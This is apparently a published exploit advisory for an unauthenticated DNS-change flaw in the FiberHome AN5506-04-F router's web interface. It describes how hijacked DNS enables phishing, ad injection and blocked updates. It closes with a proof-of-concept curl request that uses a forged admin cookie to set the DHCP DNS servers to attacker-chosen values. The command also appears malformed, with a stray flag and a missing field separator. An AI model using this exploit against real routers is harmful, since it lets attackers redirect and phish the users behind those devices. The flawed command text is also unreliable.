#  FIBERHOME AN5506 Unauthenticated Remote DNS Change Vulnerability
#
#  Software Version RP2617
#  Device Model AN5506-04-F
#  Vendor Homepage: www.fiberhome.com/
#
#
#  Date: 01/02/2018
#  Exploit Author: r0ots3c
#  http://wandoelmo.com.br
#  https://www.facebook.com/wsec.info
#
#  Description:
#  Vulnerability exists in web interface
#  This router has vulnerabilities where you can get information or edit
configurations in an unauthenticated way.
#  The biggest risk is the possibility of changing the dns of the device.
#
#  Modifying systems' DNS settings allows cybercriminals to
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites:
#       These sites can be phishing pages that
#       spoof well-known sites in order to
#       trick users into handing out sensitive
#       information.
#
#    o  Replacing ads on legitimate sites:
#       Visiting certain sites can serve users
#       with infected systems a different set
#       of ads from those whose systems are
#       not infected.
#
#    o  Controlling and redirecting network traffic:
#       Users of infected systems may not be granted
#       access to download important OS and software
#       updates from vendors like Microsoft and from
#       their respective security vendors.
#
#    o  Pushing additional malware:
#       Infected systems are more prone to other
#       malware infections (e.g., FAKEAV infection).
#
#

Proof of Concept:

VIA CURL:
curl 'http://<TARGET>/goform/setDhcp'  -H 'Cookie: loginName=admin' -H
--data
'dhcpType=1&dhcprelay_ip=&dhcpStart=192.168.1.2&dhcpEnd=192.168.1.254&dhcpMask=255.255.255.0&dhcpPriDns=<MALICIOUS
DNS1>dhcpSecDns=<MALICIOUS
DNS2>&dhcpGateway=192.168.1.1&dhcptime=24&dhcptime_m=0&option_60enable_s=0&option_125enable_s=0&option125_text='
--compressed -k -i